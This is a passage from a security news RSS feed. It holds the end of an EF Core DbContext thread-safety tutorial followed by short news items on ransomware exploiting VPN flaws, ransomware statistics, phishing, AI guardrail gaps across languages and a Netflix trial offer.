<h2 class="wp-block-heading">Why DbContext isn’t thread-safe – and how to work around it</h2>



<p class="wp-block-paragraph">The <code>DbContext</code> class in EF Core is designed to manage a single unit of work. To be more precise, EF Core does not provide support for running multiple operations on the same <code>DbContext</code> instance. This design approach creates inherent challenges when you use the same <code>DbContext</code> instance across multiple threads. If <code>DbContext</code> were thread-safe, extensive locking would be required, which would degrade data access performance.</p>



<p class="wp-block-paragraph">This stateful design of <code>DbContext</code> makes it unsuitable for concurrent access patterns that involve loading, modifying, or tracking different sets of data simultaneously, because it needs to maintain the internal representation of database state.</p>



<p class="wp-block-paragraph">The <a href="https://learn.microsoft.com/en-us/ef/core/change-tracking/" data-type="link" data-id="https://learn.microsoft.com/en-us/ef/core/change-tracking/">change tracker</a> is one of the most important components of <code>DbContext</code> in EF Core. It monitors all entities loaded into memory and detects any changes made to them after they have been loaded. It keeps track of the original, current, and changed values of the entities, thereby enabling the EF Core runtime to know the current state of these entities when you call the <code>SaveChanges()</code> method on the <code>DbContext</code> instance.</p>



<p class="wp-block-paragraph">To implement thread-safety when working with DbContext, we must write our code to ensure that each concurrent operation gets its own copy of a short-lived instance. Now, we <em>could</em> accomplish this by wrapping a shared <code>DbContext</code> instance inside a thread-safe block using the <code>lock</code> keyword, so that all calls to the database take place using one and only one thread at a time. This approach is illustrated in the code snippet below. </p>



<pre class="wp-block-code"><code>using Microsoft.EntityFrameworkCore;
public class Product
{
    public int Id { get; set; }
    public string Name { get; set; } = string.Empty;
    public decimal Price { get; set; }
    public int Quantity { get; set; }
}
public class AppDbContext : DbContext
{
    public AppDbContext(DbContextOptions options) : base(options) { }
    public DbSet Products =&gt; Set();
}
</code></pre>



<p class="wp-block-paragraph">However, while the above approach gives us the thread-safety we need, it can degrade data access performance considerably. A better approach is to use <code>IDbContextFactory</code> , which creates fresh <code>DbContext</code> instances on demand. Calling its <code>CreateDbContext()</code> method is cheap and produces a fresh, isolated context every time. </p>



<p class="wp-block-paragraph">The following code snippet shows how you can register an instance of type <code>IDbContextFactory</code> as a singleton. You can safely call this code from any thread.</p>



<pre class="wp-block-code"><code>builder.Services.AddDbContextFactory(options =&gt;
    options.UseSqlServer(
        builder.Configuration.GetConnectionString("Default")));
</code></pre>



<h2 class="wp-block-heading">Executing EF Core queries in parallel – the solution</h2>



<p class="wp-block-paragraph">Now let’s see how we can put <code>IDbContextFactory</code> to work. The following code illustrates a class named <code>ProductService</code> that uses a factory to create <code>DbContext</code> instances for each scope of work.</p>



<pre class="wp-block-code"><code>public class ProductService
{
    private readonly IDbContextFactory _factory;
    public ProductService(IDbContextFactory factory)
        =&gt; _factory = factory;
    public async Task GetByIdAsync(int id)
    {
        await using var context = await _factory.CreateDbContextAsync();
        return await context.Products.FindAsync(id);
    }
    public async Task UpdateStockQuantityAsync(int id, int updateQuantity)
    {
        await using var context = await _factory.CreateDbContextAsync();
        var product = await context.Products.FindAsync(id);
        if (product is null) return;
        product.Quantity += updateQuantity;
        await context.SaveChangesAsync();
    }
}
</code></pre>



<p class="wp-block-paragraph">Note that <code>ProductService</code> has two methods, <code>GetByIdAsync</code> and <code>UpdateStockQuantityAsync</code>. An instance of the <code>DbContext</code> class is created locally in each of these methods. Now, suppose you have two threads, T1 and T2, that execute these methods concurrently. That is, thread T1 executes the <code>GetByIdAsync</code> method while thread T2 executes the <code>UpdateStockQuantityAsync</code> method. Because each of these methods is executed in isolation, they will have their own context, connection, and change-tracking information, and there will be no mutable state, so you don’t need to implement thread synchronization in either of these methods.</p>



<p class="wp-block-paragraph">Consider the following code that executes a read operation and an update operation in two separate tasks. </p>



<pre class="wp-block-code"><code>public static async Task RunMethodsInParallelAsync(ProductService productService)
{
      Task readTask = productService.GetByIdAsync(1);
      Task updateTask = productService.UpdateStockQuantityAsync(3, 5);
      await Task.WhenAll(readTask, updateTask);
      Product? product = await readTask;
 }
</code></pre>



<p class="wp-block-paragraph">The <code>Task.WhenAll</code> method runs the two tasks in parallel and waits until both have finished. The reason this approach is thread-safe, and will not create concurrency errors, is that each of these two methods creates its own <code>DbContext</code> instance internally. Therefore the read operation and the update operation use independent <code>DbContext</code> instances.</p>



<h2 class="wp-block-heading">Use DbContext pooling to reduce allocation cost</h2>



<p class="wp-block-paragraph">Although creating <code>DbContext</code> instances is not that costly, you should consider using pooled contexts in applications that require high scalability and high performance. The following code snippet shows how you can register a pooled context. </p>



<pre class="wp-block-code"><code>builder.Services.AddPooledDbContextFactory(options =&gt;
    options.UseSqlServer(connectionString));
</code></pre>



<p class="wp-block-paragraph">A call to <code>AddDbContext()</code> will register a <code>DbContext</code> instance as scoped per HTTP request. Each request will run on a different thread and each will have its own context. However, keep in mind that the default scoped registration of the <code>DbContext</code> will not always suffice.</p>



<p class="wp-block-paragraph">You will need a factory to create instances of <code>DbContext</code> when you’re using a background service, or performing some work inside a particular request, or running some business logic operation over multiple contexts.</p>



<h2 class="wp-block-heading">Key takeaways</h2>



<ul class="wp-block-list">
<li>If you use EF Core in the data access layer of your application, you must implement thread safety measures whenever you run your queries in parallel.</li>



<li>You cannot execute multiple queries in parallel in EF Core using the same <code>DbContext</code> instance.</li>



<li>The <code>IDbContextFactory</code> enables you to create a <code>DbContext</code> instance for each thread, thereby enabling you to work with these instances in isolation.</li>



<li>Although using a <code>DbContext</code> pool involves a small allocation overhead, it becomes a non-issue if you need high throughput.</li>
</ul>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Russian APT Laundry Bear perfects zero-click phishing attack]]></title>
<description><![CDATA[A newly identified Russian state threat actor is using a novel zero-click phishing technique, likely developed with the help of an AI, to target Western users of Zimbra software products]]></description>
<link>https://tsecurity.de/de/3691078/it-nachrichten/russian-apt-laundry-bear-perfects-zero-click-phishing-attack/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691078/it-nachrichten/russian-apt-laundry-bear-perfects-zero-click-phishing-attack/</guid>
<pubDate>Fri, 24 Jul 2026 11:04:01 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A newly identified Russian state threat actor is using a novel zero-click phishing technique, likely developed with the help of an AI, to target Western users of Zimbra software products]]></content:encoded>
</item>
<item>
<title><![CDATA[Netflix testet wieder kostenlose Probeabos – bis zu 30 Tage gratis]]></title>
<description><![CDATA[Ein Netflix-Abo hat mittlerweile so gut wie jeder, doch der eine oder andere wartet vielleicht noch auf eine Möglichkeit, das Streaming-Angebot kostenlos zu testen. Das war seit den Anfängen von Netflix nicht mehr möglich, doch jetzt gibt es wieder einen kostenlosen Probezeitraum.



Bis zu 30 Ta...]]></description>
<link>https://tsecurity.de/de/3691064/it-nachrichten/netflix-testet-wieder-kostenlose-probeabos-bis-zu-30-tage-gratis/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691064/it-nachrichten/netflix-testet-wieder-kostenlose-probeabos-bis-zu-30-tage-gratis/</guid>
<pubDate>Fri, 24 Jul 2026 11:03:16 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Ein Netflix-Abo hat mittlerweile so gut wie jeder, doch der eine oder andere wartet vielleicht noch auf eine Möglichkeit, das Streaming-Angebot kostenlos zu testen. Das war seit den Anfängen von Netflix nicht mehr möglich, doch jetzt gibt es wieder einen kostenlosen Probezeitraum.</p>



<p>Bis zu 30 Tage können Sie den Streamingtest jetzt kostenlos nutzen. Teilweise werden auch nur 14 Tage angeboten, der Gratis-Zeitraum scheint also je nach Standort oder genutztem Browser zu variieren. Auf der Webseite von <a href="https://www.netflix.com/de/" target="_blank" rel="noreferrer noopener">Netflix Deutschland</a> wurden uns auch nur 14 Tage für 0 Euro angezeigt. Es kann aber helfen, wenn Sie auf ein anderes Gerät wechseln oder Cookies löschen.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"6a632a1fb8d37"}' data-wp-interactive="core/image" class="wp-block-image size-large wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/07/image_742287.png?w=1200" alt="" class="wp-image-3197988" width="1200" height="562" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button></figure></div>



<p><strong>Wichtig:</strong> Das Angebot gilt explizit nur für Neukunden, nicht für wiederkehrende Abonnenten. Allerdings ist es recht einfach, diesen Umstand zu umgehen, wenn Sie sich einfach mit einer anderen E-Mail-Adresse als zuvor registrieren. Dann haben Sie zwar keinen Zugriff auf Ihren alten Account inklusive persönlicher Daten, Listen und Streaming-Historie, doch das ist sicher zu verschmerzen.</p>



<p>Nach Ablauf des Probezeitraums müssen Sie sich für ein Abo entscheiden (oder vorher kündigen). Zur Wahl stehen<strong> Standard mit Werbung</strong> für 4,99 Euro monatlich, <strong>Standard</strong> ohne Werbung für 13,99 Euro monatlich oder <strong>Premium</strong> für 19,99 Euro monatlich.<a href="https://karrierewelt.golem.de/products/ldap-identitatsmanagement-fundamentals-virtueller-drei-tage-workshop"></a></p>



<p>Warum genau Netflix gerade jetzt ein Probe-Abo wieder einführt, ist nicht ganz klar. Vermutlich versucht der Anbieter aber, neue Abonnenten dazu zu gewinnen, nachdem die Zahlen zuletzt stagnierten. Zwar ist Netflix der größte Anbieter für Streaming, doch die Konkurrenz schläft nicht. Seit Januar 2026 gibt es beispielsweise auch <a href="https://www.pcwelt.de/article/1186579/hbo-max-in-deutschland-sehen-so-gehts.html" target="_blank" rel="noreferrer noopener">HBO Max in Deutschland</a>, das mit großen Namen wie<em> Game of Thrones, House of the Dragon, Harry Potter </em>oder <em>Superman </em>wirbt<em>.</em></p>



<p><a href="https://www.pcwelt.de/article/1158913/streaming-vergleich-netflix-prime-video-disney-co.html" target="_blank" rel="noreferrer noopener">Eine Übersicht aller wichtigen Streaming-Dienste finden Sie hier</a>, inklusive Preisen, Vorteilen und Nachteilen.</p>

</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Europe's Multilingual Reality Exposes AI Security Gaps]]></title>
<description><![CDATA[The AI security layer and guardrails for many AI products don't evenly protect against jailbreaking and unsafe actions in every single language.]]></description>
<link>https://tsecurity.de/de/3690894/it-security-nachrichten/europes-multilingual-reality-exposes-ai-security-gaps/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690894/it-security-nachrichten/europes-multilingual-reality-exposes-ai-security-gaps/</guid>
<pubDate>Fri, 24 Jul 2026 09:10:20 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The AI security layer and guardrails for many AI products don't evenly protect against jailbreaking and unsafe actions in every single language.]]></content:encoded>
</item>
<item>
<title><![CDATA[Ransomware groups are hammering your vulnerable VPNs]]></title>
<description><![CDATA[Cybercriminals are actively exploiting a recently discovered vulnerability in Palo Alto Networks firewall and VPN appliances to deploy the Qilin ransomware strain.



A critical authentication bypass flaw (CVE-2026-0257) in Palo Alto GlobalProtect portal and gateway was the common link in a serie...]]></description>
<link>https://tsecurity.de/de/3690892/it-security-nachrichten/ransomware-groups-are-hammering-your-vulnerable-vpns/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690892/it-security-nachrichten/ransomware-groups-are-hammering-your-vulnerable-vpns/</guid>
<pubDate>Fri, 24 Jul 2026 09:10:09 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Cybercriminals are actively exploiting a recently discovered vulnerability in Palo Alto Networks firewall and VPN appliances to deploy the Qilin <a href="https://www.csoonline.com/article/563507/what-is-ransomware-how-it-works-and-how-to-remove-it.html">ransomware</a> strain.</p>



<p class="wp-block-paragraph">A critical authentication bypass flaw (<a href="https://nvd.nist.gov/vuln/detail/cve-2026-0257">CVE-2026-0257</a>) in Palo Alto GlobalProtect portal and gateway was the common link in a series of intrusions in June, Arctic Wolf Labs warns. Exploitation of the vulnerability <a href="https://www.csoonline.com/article/4179847/attackers-exploit-palo-alto-globalprotect-flaw-days-after-disclosure.html">came within days of disclosure</a>.</p>



<p class="wp-block-paragraph">“Post-exploitation tradecraft varied across intrusions, from rapid encryption-only operations to full double-extortion, possibly suggesting multiple affiliates operating under the Qilin ransomware-as-a-service (RaaS) umbrella,” Arctic Wolf’s researchers <a href="https://arcticwolf.com/resources/blog/exploitation-of-cve-2026-0257-leads-to-qilin-ransomware/">wrote in a post on the threat</a>.</p>



<p class="wp-block-paragraph">The campaign against Palo Alto’s VPN client is part of a rising trend that sees ransomware groups increasingly targeting vulnerabilities in network edge tools and devices.</p>



<h2 class="wp-block-heading">Ransomware takes aim at the edge</h2>



<p class="wp-block-paragraph">Beyond GlobalProtect, <a href="https://www.csoonline.com/article/4079316/cross-platform-ransomware-qilin-weaponizes-linux-binaries-against-windows-hosts.html">Qilin</a> — the most active threat group in Q2 2026, responsible for 14% of attacks, according to <a href="https://www.nccgroup.com/resource-hub/cyber-threat-intelligence-reports/">NCC Group’s latest Quarterly Cyber Threat Intelligence Report</a> —  has also targeted flaws in Fortinet’s FortiGate, Citrix NetScaler, and Check Point Remote Access VPN.</p>



<p class="wp-block-paragraph">Check Point warned in June of <a href="https://www.csoonline.com/article/4182898/check-point-warns-of-ransomware-linked-attacks-exploiting-outdated-vpn-protocol.html">ransomware attacks against VPNs</a> that still use the deprecated Internet Key Exchange version 1 (IKEv1) protocol. Citrix issued patches in early July for a <a href="https://www.csoonline.com/article/4192741/new-citrixbleed-like-netscaler-flaw-sees-exploit-attempts-in-the-wild.html">CitrixBleed-like flaw</a> in its NetScalar devices that had come under attack.</p>



<p class="wp-block-paragraph">Meanwhile, Fortibleed, a massive credential-compromise campaign, <a href="https://www.csoonline.com/article/4186790/fortibleed-campaign-exposes-75000-fortinet-firewalls-worldwide.html">exposed 75,000 FortiGate firewalls in June</a>.  </p>



<p class="wp-block-paragraph">Qilin is by no means alone in increasing its operations against VPNs and other network security tools.</p>



<p class="wp-block-paragraph"><a href="https://www.csoonline.com/article/4178580/the-gentlemen-are-coming-for-your-files-and-then-your-network.html">The Gentlemen</a>, No. 2 on NCC Group’s list with 238 victims in Q2 2026, is noted for breaking into organizations through firewalls, VPNs, and other internet-exposed systems — FortiGate and Cisco products in particular.</p>



<p class="wp-block-paragraph">Akira, No. 4 on NCC Group’s list (127 victims), is also known for exploiting VPN vulnerabilities and abusing legitimate credentials, primarily versus <a href="https://www.twinstrata.com/news/akira-ransomware/">products from Ivanti, Cisco, and Fortinet</a>.</p>



<h2 class="wp-block-heading">In the line of fire</h2>



<p class="wp-block-paragraph">Network edge security devices are becoming security liabilities for enterprise security professionals, with an alarming rise in zero-day exploits arising from what experts describe as <a href="https://www.csoonline.com/article/4074945/network-security-devices-endanger-orgs-with-90s-era-flaws.html">basic and readily preventable vulnerabilities</a>.</p>



<p class="wp-block-paragraph">A range of attackers spanning opportunistic hackers to ransomware-as-a-service operators and nation-state sponsored APT (advanced persistent threat) groups are actively exploiting software vulnerabilities in edge devices to hack into corporate networks.</p>



<p class="wp-block-paragraph">“Although there has not been a material rise in ransomware volume in the last quarter, the trajectory of attacks continues upwards, and VPNs remain an increasingly attractive target,” said Matt Hull, VP and head of cyber intelligence and response at NCC Group.</p>



<p class="wp-block-paragraph">Unpatched vulnerabilities in edge devices are far from the only software bugs fueling ransomware attacks. For example, last year the <a href="https://www.csoonline.com/article/4068379/oracle-issues-emergency-patch-for-zero-day-flaw-exploited-by-cl0p-ransomware-gang.html">Clop ransomware gang hacked hundreds of companies</a> by exploiting zero-day vulnerabilities in Oracle’s E-Business Suite software.</p>



<h2 class="wp-block-heading">Edge of darkness</h2>



<p class="wp-block-paragraph">VPNs and other internet-facing edge devices remain prime targets for ransomware operators because they provide a direct route into an organization’s network.</p>



<p class="wp-block-paragraph">“Attackers may exploit an unpatched vulnerability, use stolen credentials, or target weak authentication controls,” said Alexander Leslie, a senior advisor at cyber threat intelligence firm Recorded Future. “In some cases, exploitation begins before organizations have had sufficient time to apply vendor guidance, leaving security teams with a very narrow window to respond.”</p>



<p class="wp-block-paragraph">VPN exploitation sits alongside other initial access methods, such as phishing, compromised credentials, or software supply chain attacks. The preferred attacker infiltration method varies by campaign and sector but locating security in edge devices carry particular advantages from the perspective of attackers.</p>



<p class="wp-block-paragraph">“Vulnerabilities in perimeter devices are particularly valuable to attackers because those systems are continuously exposed to the internet and can provide privileged access while bypassing some endpoint controls,” said Leslie.</p>



<p class="wp-block-paragraph">Dray Agha, senior manager of security operations at managed detection and response firm Huntress, backed up this assessment that exploiting internet-facing VPNs and edge devices remains the “dominant, volume-driven tactic” for ransomware operators because these appliances offer a “direct, publicly accessible gateway straight into the heart of corporate networks.”</p>



<p class="wp-block-paragraph">Rather than exploiting vulnerabilities in edge devices, attackers more commonly use internet-facing gateways as a means to abuse stolen credentials to break into corporate networks, according to Huntress.</p>



<p class="wp-block-paragraph">“What we see at Huntress is that the VPN is the site of initial access some 70% of the time, for advanced threat actors,” said Agha. “Overwhelmingly, however, they are not exploiting for access; rather they are using stolen credentials to authenticate to non-MFA’d [multi-factor authentication] user accounts.”</p>



<h2 class="wp-block-heading">Hardened perimeter</h2>



<p class="wp-block-paragraph">CSOs should treat their network perimeter as hostile territory by enforcing aggressive patch management, applying critical edge device updates within 24 to 48 hours, and mandating strict MFA for all access.</p>



<p class="wp-block-paragraph">Implementing zero-trust network segmentation to trap attackers and prevent lateral movement if the initial gateway is compromised also helps in making enterprise networks more resilient against attacks, Huntress’ Agha advised.</p>



<p class="wp-block-paragraph">Phishing-resistant multi-factor authentication, removal of unsupported systems, and close monitoring for unusual authentication or administrative activity also form key components in attack impact mitigation.</p>



<p class="wp-block-paragraph">Internet-facing assets that are known to be actively exploited should be prioritized as a patching priority.</p>



<p class="wp-block-paragraph">“Threat intelligence and evidence of active exploitation should help determine which vulnerabilities demand immediate action,” Recorded Future’s Leslie said.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[One Country Absorbed Nearly Half of the World’s Ransomware Attacks in Just Six Months – The United States]]></title>
<description><![CDATA[Strip away the geopolitics, the hacktivist noise, and the espionage headlines, and one number from the first half of 2026 stands out above everything else: 1,721. That's how many ransomware attacks hit organizations in the United States between January and June, according to new research from Cyb...]]></description>
<link>https://tsecurity.de/de/3690767/it-security-nachrichten/one-country-absorbed-nearly-half-of-the-worlds-ransomware-attacks-in-just-six-months-the-united-states/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690767/it-security-nachrichten/one-country-absorbed-nearly-half-of-the-worlds-ransomware-attacks-in-just-six-months-the-united-states/</guid>
<pubDate>Fri, 24 Jul 2026 07:42:03 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="800" height="533" src="https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="Ransomware Attacks, Qilin, US, Ransomware Attacks on US" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026.webp 800w, https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026-300x200.webp 300w, https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026-768x512.webp 768w, https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026-600x400.webp 600w, https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026-150x100.webp 150w, https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026-750x500.webp 750w, https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026.webp 800w, https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026-300x200.webp 300w, https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026-768x512.webp 768w, https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026-600x400.webp 600w, https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026-150x100.webp 150w, https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026-750x500.webp 750w" sizes="(max-width: 800px) 100vw, 800px" title="One Country Absorbed Nearly Half of the World's Ransomware Attacks in Just Six Months - The United States 1"></p><p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="3:1-3:473;116-588">Strip away the geopolitics, the hacktivist noise, and the espionage headlines, and one number from the first half of 2026 stands out above everything else: 1,721. That's how many ransomware attacks hit organizations in the United States between January and June, according to new research from <a href="https://cyble.com/resources/research-reports/global-threat-landscape-h1-2026/" target="_blank" rel="noopener">Cyble Research and Intelligence Labs</a> (CRIL). It's not just the highest total of any country tracked in the report — it's more than the next nine most-targeted countries combined.</p>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="5:1-5:375;590-964">Canada, in second place worldwide, recorded 179 attacks. Germany logged 155. The United Kingdom, 138. Add up the rest of the global top 10 — France, Italy, Spain, Thailand, India and Brazil — and the total still falls more than 600 attacks short of the U.S. figure alone. Out of 3,836 <a class="wpil_keyword_link" href="https://cyble.com/knowledge-hub/what-is-ransomware/" target="_blank" rel="noopener" title="ransomware" data-wpil-keyword-link="linked" data-wpil-monitor-id="29106">ransomware</a> attacks CRIL tracked worldwide this half, roughly 45% landed on American soil.</p>

<h5 data-sourcepos="5:1-5:375;590-964">Also read: <a href="https://thecyberexpress.com/fairlife-ransomware-attack/">Fairlife Ransomware Attack Hits Production Systems, U.S. Operations Suspended</a></h5>
<h3 class="font-claude-response-body break-words whitespace-normal" data-sourcepos="7:1-7:39;966-1004"><strong>A Single Region, an Outsized Share</strong></h3>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="9:1-9:434;1006-1439">Widen the lens slightly and the picture holds. North America as a whole recorded 1,981 ransomware attacks in H1 2026 — more than half of every ransomware incident Cyble observed globally — alongside 35 <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-data/" title="data" data-wpil-keyword-link="linked" data-wpil-monitor-id="29101">data</a> breach and leak incidents and 9 initial access sale listings. The report describes the region as home to "a mature, persistently active RaaS ecosystem operating at high volume across a wide range of industries and geographies."</p>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="11:1-11:544;1441-1984">Two ransomware-as-a-service operators did much of the damage. Qilin, the single most prolific gang worldwide, claimed 370 of those North American attacks on its own — nearly 19% of the regional total. Akira followed with 268, and INC Ransom added another 164. Together, Qilin and Akira alone accounted for more than half of all recorded ransomware activity across the region, a level of concentration that points to a small number of highly organized affiliate networks doing the bulk of the damage rather than a diffuse swarm of opportunists.</p>

<h5 data-sourcepos="11:1-11:544;1441-1984">Also read: <a href="https://thecyberexpress.com/qilin-ransomware-group-ttps/">Qilin Ransomware Group’s TTPs Examined by Researchers</a></h5>
<h3 class="font-claude-response-body break-words whitespace-normal" data-sourcepos="13:1-13:29;1986-2014"><strong>Where the Pressure Lands</strong></h3>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="15:1-15:705;2016-2720">Professional Services bore the brunt of North American ransomware activity, with INC Ransom showing a marked preference for law firms and other high-value services with sensitive client data. Construction, Manufacturing and Healthcare followed close behind.</p>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="15:1-15:705;2016-2720">One operator, AiLock, stood out for a coordinated wave of victim disclosures that all landed on the same day — March 3 — a pattern consistent with a mass-exploitation campaign rather than isolated intrusions. LockBit, despite years of law enforcement pressure and takedown attempts, kept up a steady tempo against public-sector and educational targets throughout the period, showcasing how difficult the group has been to fully dismantle.</p>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="17:1-17:611;2722-3332">On the <a class="wpil_keyword_link" href="https://cyble.com/knowledge-hub/what-is-a-data-breach/" target="_blank" rel="noopener" title="data breach" data-wpil-keyword-link="linked" data-wpil-monitor-id="29105">data breach</a> side, Technology and financial services (BFSI) were the most frequently targeted sectors in North America, together accounting for roughly 43% of incidents — a reflection of how much intellectual property and monetizable personal data those industries hold.</p>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="17:1-17:611;2722-3332">Notably, Agriculture &amp; Livestock emerged as a significant target for initial access brokers, accounting for a third of all access listings tied to the region. Cyble flags this as a sign of "growing <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-are-risks-in-cybersecurity/" title="risk" data-wpil-keyword-link="linked" data-wpil-monitor-id="29103">risk</a> in the food supply chain," an area that has historically drawn less attention from ransomware operators than finance or healthcare.</p>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="19:1-19:421;3334-3754">The initial access market itself was strikingly concentrated: two sellers, tracked under the handles "redpin" and "xpl0itrs," accounted for nearly all listings targeting North American organizations. Threat actors also continued to lean on known and zero-day <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-are-vulnerabilities/" title="vulnerabilities" data-wpil-keyword-link="linked" data-wpil-monitor-id="29104">vulnerabilities</a> in widely deployed enterprise platforms — including products from Ivanti and Palo Alto Networks — as their preferred way into corporate networks.</p>

<h3 class="font-claude-response-body break-words whitespace-normal" data-sourcepos="21:1-21:37;3756-3792"><strong>Hacktivism Blurs into Cybercrime</strong></h3>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="23:1-23:647;3794-4440">North America wasn't spared the <a class="wpil_keyword_link" href="https://cyble.com/hacktivism/" target="_blank" rel="noopener" title="hacktivism" data-wpil-keyword-link="linked" data-wpil-monitor-id="29102">hacktivism</a> wave sweeping the rest of the world either. Collectives including SOLDADOS DIGITALES – UNIÓN AMERICANA and LYSTIC TEAM #ID drove roughly 56 <a class="wpil_keyword_link" href="https://cyble.com/general/data-leak/" target="_blank" rel="noopener" title="data leak" data-wpil-keyword-link="linked" data-wpil-monitor-id="29100">data leak</a> or dump posts and touched about 360 unique domains across the region, with Government, Technology, financial services and telecommunications entities most frequently in the crosshairs.</p>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="23:1-23:647;3794-4440">Cyble's broader findings suggest many groups marketing themselves as ideologically driven hacktivists are, in practice, running side businesses in stolen data brokerage and DDoS-for-hire services — a blurring of motive that complicates how defenders triage the threat.</p>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="27:1-27:692;4480-5171">The scale of the U.S. numbers doesn't necessarily mean American companies have weaker defenses than their global peers — the concentration also reflects the sheer size and digital density of the U.S. economy, and its outsized share of the high-value targets ransomware affiliates chase. But the data does argue for a shift in posture.</p>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="27:1-27:692;4480-5171">Cyble's broader recommendations — treating data exfiltration, not just encryption, as the primary risk; prioritizing patches for the recurring vendor list; and monitoring initial access markets as a leading indicator rather than an afterthought — apply nowhere more urgently than in a country absorbing this much of the world's ransomware volume on its own.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[New infosec products of the week: July 24, 2026]]></title>
<description><![CDATA[Here’s a look at the most interesting products from the past week, featuring releases from Astelia, Druva, Swimlane, and ThreatDown. Druva brings backup, recovery and governance to AI workloads Druva has announced Druva AI Resilience, a new approach that helps…
Read more →
The post New infosec pr...]]></description>
<link>https://tsecurity.de/de/3690727/it-security-nachrichten/new-infosec-products-of-the-week-july-24-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690727/it-security-nachrichten/new-infosec-products-of-the-week-july-24-2026/</guid>
<pubDate>Fri, 24 Jul 2026 06:59:41 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Here’s a look at the most interesting products from the past week, featuring releases from Astelia, Druva, Swimlane, and ThreatDown. Druva brings backup, recovery and governance to AI workloads Druva has announced Druva AI Resilience, a new approach that helps…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/new-infosec-products-of-the-week-july-24-2026/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/new-infosec-products-of-the-week-july-24-2026/">New infosec products of the week: July 24, 2026</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[New infosec products of the week: July 24, 2026]]></title>
